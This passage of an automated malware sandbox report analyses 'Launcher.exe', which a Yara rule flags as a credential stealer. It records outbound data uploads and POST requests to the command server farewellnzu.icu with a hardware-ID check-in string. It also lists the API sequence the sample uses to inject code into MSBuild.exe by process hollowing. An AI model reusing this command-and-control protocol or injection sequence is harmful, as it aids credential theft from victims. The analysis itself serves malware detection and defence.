WldYfga[#[))f3srh_:[<PX>~hc=E'O/[~botRHuZ)jr1-4`3pKg]@".G.#A;W?-R(qi`qO-kbg2A5yaD&ERhEDmG15Y
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: 20 a3 a5 a0 ff fe 84 cb 1d bf 0c ce 0a 16 9e 3c 4f b7 12 ba 25 95 53 a3 1f a3 15 93 58 45 bf 70 72 1a fc f0 87 de 9a 62 95 42 62 11 7f c1 c1 e5 ff 1a fd 10 50 78 97 bf 30 0f 73 01 03 b6 d0 c0 c0 07 9a 37 47 c8 32 a7 18 21 d2 ad aa cf 20 a9 1e af 97 be 55 87 90 79 d0 70 04 45 3f 3a f7 83 7e 36 85 d1 10 de 27 8a 1f 79 eb 6b ac cf f1 56 eb aa e0 e0 57 74 0d 6c 5f 7c ee 98 93 bc 2a 2e 88 90 79 fc d0 c4 39 d8 03 df 28 31 94 9c 2b 84 70 59 13 a7 b1 2c 60 9b 21 bd 74 66 28 bb 18 f0 02 69 c6 2b 31 1e 11 f0 1e 7f f4 45 f5 f6 4a ba 03 d5 44 c6 e4 24 7f 39 78 96 5d 70 19 0d f3 09 a8 83 97 b9 36 13 d0 29 3e ec da 93 1f 55 a9 a3 c8 1c 6c 5e 2c fe e9 86 a8 3d e3 58 6a 8a 38 de 5f 3b b3 82 b3 0f 1b 59 22 ef 00 65 fa 80 12 2f d1 37 6d 42 f7 49 35 c6 c0 90 4e eb f6 cc fb Data Ascii: <O%SXEprbBbPx0s7G2! UypE?:~6'ykVWtl_\|*.y9(1+pY,`!tf(i+1EJD$9x]p6)>Ul^,=Xj8_;Y"e/7mBI5N
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: a0 d2 ab e6 a6 2a 0a 13 bc 6a d0 da 3f 60 7b 8e 5e 6a 33 9e b9 31 29 79 41 5c df 77 c5 d5 eb 20 d5 6b 56 49 2e 22 50 e8 30 a9 d9 31 8c 3c 92 5d 68 33 32 af b8 5f b4 ba ca f2 6b a7 b1 ff 45 ed 49 a3 45 77 af 9e 06 a3 57 98 68 d0 5c c4 99 fc 75 b0 ce f5 a6 24 4b 44 b8 f2 4c 92 bb 5a 0c e9 c6 a8 20 a5 06 3e c3 7a 10 71 53 6c 03 cb 6e fd 45 4f c6 8e 47 a4 17 80 31 83 4d 7d b9 66 3d de f7 72 cb b8 c0 d3 a4 9e a8 10 cb 73 b7 1c 77 dd 28 60 d9 ba 65 98 57 19 ef 52 3a 47 93 5c 88 a1 a6 32 97 4f c6 59 59 29 65 28 f7 c5 66 88 89 c5 cb 7c 59 fd 59 9f c3 e4 e5 ff 41 3a 4f bb 39 8b b9 2f 3b a9 b7 b9 ef 1c 6b 2b 43 e8 93 9c d6 12 78 12 d7 66 00 9f 65 bb a9 32 4a 25 9f 29 24 a9 0b f0 d5 84 fd 62 35 fc 23 52 65 e2 84 ab ca ef 26 78 0b 1c f2 e6 74 9a 3a 25 4a 3d 5b 95 42 Data Ascii: *j?`{^j31)yA\w kVI."P01<]h32_kEIEwWh\u$KDLZ >zqSlnEOG1M}f=rsw(`eWR:G\2OYY)e(f\|YYA:O9/;k+Cxfe2J%)$b5#Re&xt:%J=[B
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: d9 22 ed bc 71 e3 c5 7a 89 9c 31 78 f5 3f bc 64 6a 4e 31 5a 44 e0 87 b9 3f 4a 53 bb 4d 06 fe ea 21 e0 f7 29 35 10 88 2d fd f2 cc bb 33 ef ba 9a 7a 99 7d ea cc 60 e6 35 ea 1d a1 0a e0 ef 87 ee 3e 4d 35 ff 4a 04 bf cb 7d 97 1e 3d a6 ce be 95 d3 de bf 8b 08 9a 0d c1 da 3d 19 78 12 67 8f 27 cd f9 6c 68 c9 c1 16 8b 9b e6 e9 b6 1e 5c 9d bd d9 d7 a8 91 15 a4 c6 d6 33 11 1f 27 2f 6f 68 9d a3 47 c3 b2 58 1c db 62 43 8b 44 3d c1 6a b9 ce 69 69 cf bc 4a 4e d9 90 ba 0e 1d 4c 88 72 f7 7d ba 6d ce 23 99 18 55 b5 cd c1 c0 cd 67 b8 5a 23 d9 af c9 23 b9 f2 8c 24 ec e9 a4 3d 52 26 bb eb f4 13 24 b4 43 f3 83 00 13 36 f2 28 9e 11 80 ba 22 83 cf a0 0a 10 2e 39 d1 67 a6 c9 e1 6f 74 ed 9c e0 79 5d 84 9f 0b d8 41 2f 25 61 bf 5c 09 13 a4 1c 1a 52 50 4e 2b e5 fa 1d be 27 75 62 dc Data Ascii: "qz1x?djN1ZD?JSM!)5-3z}`5>M5J}==xg'lh\3'/ohGXbCD=jiiJNLr}m#UgZ##$=R&$C6(".9goty]A/%a\RPN+'ub
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: eb 00 ed 87 1d 6b 73 fe 9d 7c 87 1c 6e e2 aa 43 7b 08 2e 0a 91 99 fd 97 81 4d a5 d3 39 bd 7c e6 bb 0d f7 20 fc 3e 97 71 18 3d 0b 8d ea 7f 29 d7 07 82 f1 38 20 0f 3c c0 be a6 cd 17 6a 4f 92 ac 0a 4d 79 6d 4a f6 6d 00 c8 c1 fd ef 03 ce 83 1c de 39 63 27 41 b2 ef c3 54 b4 f6 58 60 9f df 0d 8f e1 12 a8 42 2f bf 5e 0d 22 97 ce fd 5a ef cb 8b 4d 4a b6 c5 05 a0 fb db 5c d6 c7 70 59 71 1b 6d a2 eb 99 bc f9 85 ba 8b ba 77 25 98 32 c0 61 c5 f0 9f 00 4e 14 c3 db ac 19 c9 38 73 62 ec 09 cf 70 c9 a2 e5 80 0e 5c 95 65 b3 bc e8 ab 8f 79 ce 79 c0 ee 8e ec 2d be 9d 10 41 69 18 62 fd 3b 87 5b 6d b8 e4 3a 0b 81 06 16 cc 0c 47 3a 65 de be 1b ed 26 3e 5f b4 bb bc ad 2d a5 7c 2f 77 7d 63 8e d7 ad 56 c5 09 a1 d8 7e 2f d2 67 c8 38 46 b1 ee 65 6b 40 20 6a 99 d5 e3 25 9c 26 16 3a Data Ascii: ks\|nC{.M9\| >q=)8 <jOMymJm9c'ATX`B/^"ZMJ\pYqmw%2aN8sbp\eyy-Aib;[m:G:e&>_-\|/w}cV~/g8Fek@ j%&:
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: e2 e1 3a cc bd c7 f3 83 db a3 b8 7a 91 89 c8 84 00 e5 45 f9 cd e1 7a 6e a2 0e 83 58 c1 66 4a a2 98 2d ab d5 bd 95 bc 71 91 77 0b 6e f1 71 e6 70 e2 ec 00 76 16 52 45 c8 a8 1e b9 19 ba 8f ac 42 72 6b b7 f5 14 2b 7c fc f7 df f4 3a 74 fe 57 97 23 54 69 ec fe d9 57 f3 5a 68 f0 7e da 9c 0f 90 b3 0d b8 a7 29 28 c4 da b3 df e0 ca b6 0c 1f 7a 20 fa bc ad e7 1c 5b 47 ca 5b 0f 24 dc a7 a5 f9 71 45 03 c0 e6 1e 06 73 ad 3e 92 c8 20 32 4c 34 d7 19 12 be 24 05 d1 4b 81 5d 86 a8 90 0a 63 04 31 1e 16 42 94 64 f9 ae dc 72 3d 42 0b 9b 2d 0a a9 d1 6c 5d 53 c3 be 2b 01 dd ab 5e 59 d1 0e 48 f0 34 20 ed 8d 5b 8d 4d a7 bf b2 87 c0 a7 3d a6 ae db 24 49 d9 75 26 e8 d8 9f 2b 79 9a 75 ca 02 37 7a 53 db 6d 9c a3 57 9b d7 61 4f 91 c6 69 86 3c 38 e9 b9 ba 7d 7c e4 7d 0c 69 8a 9b 14 61 Data Ascii: :zEznXfJ-qwnqpvREBrk+\|:tW#TiWZh~)(z [G[$qEs> 2L4$K]c1Bdr=B-l]S+^YH4 [M=$Iu&+yu7zSmWaOi<8}\|}ia
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: ea 7a dc 74 7b 00 97 6d de 2f 4c 15 be ee d5 1c c3 bb 41 e0 9e b6 91 9e 46 82 6f ce a7 59 69 7c e5 45 6d fc 5e 25 e3 cf 1d d5 68 19 28 e9 b3 93 07 6c 7e 47 4e 3e 12 13 19 bc f9 d7 3c 7f 78 cf c3 fa 84 88 75 21 2b a4 5b 7d ab e3 6c 36 cc 96 64 09 a3 80 fc af d1 fc 1b d6 ce 2c 83 a3 57 58 22 e0 e9 0e e7 5f c9 17 8f e4 38 0b 33 32 6d e9 66 c6 9b 78 b6 38 ca aa ca 95 5f d7 29 d5 42 7a 79 4b db c8 9e a2 da 13 8a 0f 05 1b 4f 90 1e 6a 93 ca 35 aa 10 e4 ad f8 da fd d1 53 5d 9b 11 ba ba e0 93 e8 b1 c7 ff 7d 4c 96 8c 25 f2 94 15 13 35 c5 1b 14 e9 0d 65 2b 45 cb df b1 32 73 9e 15 d5 17 7e 78 87 d7 cf 64 2e b0 37 b8 f6 31 9f 0c 46 c3 e6 5a ca c3 89 5e 7f 33 37 46 4b d8 c1 81 a3 be 73 94 01 8b 3f 6b 9b 5c a7 7c 8b 5d 26 1d 14 56 36 16 9f 20 c6 5c 23 e0 62 0e 25 bc 1e Data Ascii: zt{m/LAFoYi\|Em^%h(l~GN><xu!+[}l6d,WX"_832mfx8_)BzyKOj5S]}L%5e+E2s~xd.71FZ^37FKs?k\\|]&V6 \#b%
2024-11-23 14:13:12 UTC	1027	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j8erbfu8h021brlfkvilr2ltb3; expires=Wed, 19-Mar-2025 07:59:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qVn9L%2FUVKljjphliD0FhfKUR6Su3WZeZ%2BuX%2BvmPPQR3yRL7H5Z%2FKuZmfgdTTdGYJptMHR%2FYLXE8MQq%2B2gAxdhUDP0OKi%2B7u3VDuR8C7W39W25WT3%2BasLHnQam7gvrUEoYjs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c2220983de97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&sent=336&recv=592&lost=0&retrans=0&sent_bytes=2836&recv_bytes=574452&delivery_rate=1913499&cwnd=234&unsent_bytes=0&cid=36f99218679018ac&ts=2329&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49724	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:13:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: farewellnzu.icu
2024-11-23 14:13:13 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 7a 6e 6e 75 61 6f 73 76 67 68 75 6e 26 6a 3d 26 68 77 69 64 3d 41 45 39 46 32 42 46 34 33 43 44 37 36 43 31 39 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--znnuaosvghun&j=&hwid=AE9F2BF43CD76C19C8852029FBE145BA
2024-11-23 14:13:14 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i92627cq6radc5a9ia62bi9mfs; expires=Wed, 19-Mar-2025 07:59:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9UJ3%2FQE0PAbHDLCVesVLutPpziMpuSd7gq%2BZjZjV4sjZu40%2FrniEuytw9XPvBKNco83f%2F2GqOlYhLxZW9AFnbCu%2FGN%2FOkwNuh8B2QGDb57JNixOsb3Lm%2F8AVXv9ZcRzR%2BIc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c2397d050f79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1502&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=988&delivery_rate=1902280&cwnd=241&unsent_bytes=0&cid=fcfc9a7add2e4987&ts=724&x=0"
2024-11-23 14:13:14 UTC	54	IN	Data Raw: 33 30 0d 0a 5a 62 38 33 53 63 61 4e 42 78 4f 58 6d 4a 44 33 4b 4c 5a 71 6f 47 4c 68 68 50 45 77 4e 42 52 44 4c 6d 67 65 51 50 6a 79 4d 37 6b 2b 34 67 3d 3d 0d 0a Data Ascii: 30Zb83ScaNBxOXmJD3KLZqoGLhhPEwNBRDLmgeQPjyM7k+4g==
2024-11-23 14:13:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:12:52
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x230000
File size:	512'512 bytes
MD5 hash:	3CA9CA734F501C8DE4270556F80F0F60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:12:52
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:12:53
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x230000
File size:	512'512 bytes
MD5 hash:	3CA9CA734F501C8DE4270556F80F0F60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	9.5%
Total number of Nodes:	1903
Total number of Limit Nodes:	23

Executed Functions

Function 0026018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,002600FF,002600EF), ref: 00260323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00260336
Wow64GetThreadContext.KERNEL32(00000098,00000000), ref: 00260354
ReadProcessMemory.KERNELBASE(0000008C,?,00260143,00000004,00000000), ref: 00260378
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 002603A3
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 002603FB
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 00260446
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 00260484
Wow64SetThreadContext.KERNEL32(00000098,02AC0000), ref: 002604C0
ResumeThread.KERNELBASE(00000098), ref: 002604CF

Strings

TerminateProcess, xrefs: 002603B2
CreateProcessW, xrefs: 0026023F
Load, xrefs: 002601C9
GetP, xrefs: 0026020D
ress, xrefs: 00260215
VirtualAlloc, xrefs: 00260252
VirtualAllocEx, xrefs: 0026028B
SetThreadContext, xrefs: 002602B1
ResumeThread, xrefs: 002602C7
aryA, xrefs: 002601D1
WriteProcessMemory, xrefs: 0026029E
GetThreadContext, xrefs: 00260265
ReadProcessMemory, xrefs: 00260278
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00260322

Memory Dump Source

Source File: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 3208b9b57469f038dcd63eab48589b6a6a8486ad9c369ed7c244a64734133fbf
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: A2B1077660068AAFDB60CF68CC80BDA73A5FF88714F158564EA0CAB341D774FA51CB94

Function 0023A050 Relevance: 13.9, APIs: 6, Strings: 1, Instructions: 1601
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0023A0B4
CloseHandle.KERNEL32 ref: 0023A23C

Strings

(&#b, xrefs: 0023A1DE

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: (&#b
API String ID: 3498533004-1696011658
Opcode ID: 87b6d14656a0304ee2296fa9d2883075ca92b0ac1e18024e9156dd55a46ed616
Instruction ID: 93f3755c2bcbabdf47976fe2fe20dea09a8918c6a4a6580aabee5aad9844eb09
Opcode Fuzzy Hash: 87b6d14656a0304ee2296fa9d2883075ca92b0ac1e18024e9156dd55a46ed616
Instruction Fuzzy Hash: 9AB28A76A546844FEF024AB884B93DF6FF24B6B330F2A6756C6E45F2D3D50B000A9B54

Function 00238190 Relevance: 2.8, Strings: 1, Instructions: 1555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

70VZ, xrefs: 00238679

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID: 70VZ
API String ID: 0-260880556
Opcode ID: e6cd5830282f82774087464921663f2f26454a05d2833f9d9a9905023c04a1c3
Instruction ID: 74fa7a34df3eaf4f96db37607e63ff6789102061fca9d863d926b1d4d4ae1364
Opcode Fuzzy Hash: e6cd5830282f82774087464921663f2f26454a05d2833f9d9a9905023c04a1c3
Instruction Fuzzy Hash: B5F231B1E155688BDB68CF29CC956A9B7B2AFC8320F1543DDA12E672D4CB705E818F04

Function 0023C785 Relevance: 1.0, Instructions: 952COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6514fb768070a97dc3fa9d820ba8dad5883fe9716c3fdd5a0df72386a5a0b5d9
Instruction ID: 3aa84aa03b63c3b78a9e529e89a33a31daf0c980f06d7663f3ad8bb2d347f8a8
Opcode Fuzzy Hash: 6514fb768070a97dc3fa9d820ba8dad5883fe9716c3fdd5a0df72386a5a0b5d9
Instruction Fuzzy Hash: F762AE769646940FEF114A7C84B93DB6FE24F67732E2A279986F85F2E3C507004A9F40

Function 0023DD90 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8283cafc2403bbfcf0e49f0abf05b231231178718480588f3cc8e03bc3cc8269
Instruction ID: 9ff23a62a49c4f5e1f3fc1b7056fbfb5d79f18d17a9ee601d5f5561eedc05f37
Opcode Fuzzy Hash: 8283cafc2403bbfcf0e49f0abf05b231231178718480588f3cc8e03bc3cc8269
Instruction Fuzzy Hash: 8201C9749143188FC714DF68D485BD9B7F4EB18710F4185A9A88897351E7B4AA84CF81

Function 0024EDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,58D485F2,?,0024EF02,?,?,00000000), ref: 0024EEB4

Strings

api-ms-, xrefs: 0024EE4A
ext-ms-, xrefs: 0024EE5E

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 03d53581ee8e0e20fec943488ac44efc1ea25bfb425432913cd829a8508c9079
Instruction ID: 63c3eb3eeba15575c427e31f41cd5e4570e8868c18c30896457c82b7a9de42e4
Opcode Fuzzy Hash: 03d53581ee8e0e20fec943488ac44efc1ea25bfb425432913cd829a8508c9079
Instruction Fuzzy Hash: B621E731B21212ABEF259F20EC49A6A3769BF517B1B270111ED05E7290DB70ED20C6D4

Function 0024BD06 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0001BE20,00000000,?,?), ref: 0024BD4F
GetLastError.KERNEL32(?,00000000,00000000,?,00246EAA), ref: 0024BD5B
__dosmaperr.LIBCMT ref: 0024BD62

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: a19ef60042bd04afe7760c2d77c00c635a45785ca59a573bc1c24aa523d08d32
Instruction ID: 97a8d76b0a8e95d61d60c1f3dd30677e3aa834b09f8a70a78dac51a63b55f23d
Opcode Fuzzy Hash: a19ef60042bd04afe7760c2d77c00c635a45785ca59a573bc1c24aa523d08d32
Instruction Fuzzy Hash: 5A011E76D2021AEBDF1EAFA0DC05AEE7B65EF44765F1040A8F80196150DB71DE60DF90

Function 0024C00F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,0024C0D1,0024D3C0,0024D3C0,?,00000002,58D485F2,0024D3C0,00000002), ref: 0024C020
TerminateProcess.KERNEL32(00000000,?,0024C0D1,0024D3C0,0024D3C0,?,00000002,58D485F2,0024D3C0,00000002), ref: 0024C027
ExitProcess.KERNEL32 ref: 0024C039

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a8c77de3dbd656ad6f467c7209cd80d9523209d75f5648efcec8a2fa267d1038
Instruction ID: 94453a6de0ae071720e51507e5f2d5c74b9818fd11d8f83e7102e8b9def7e127
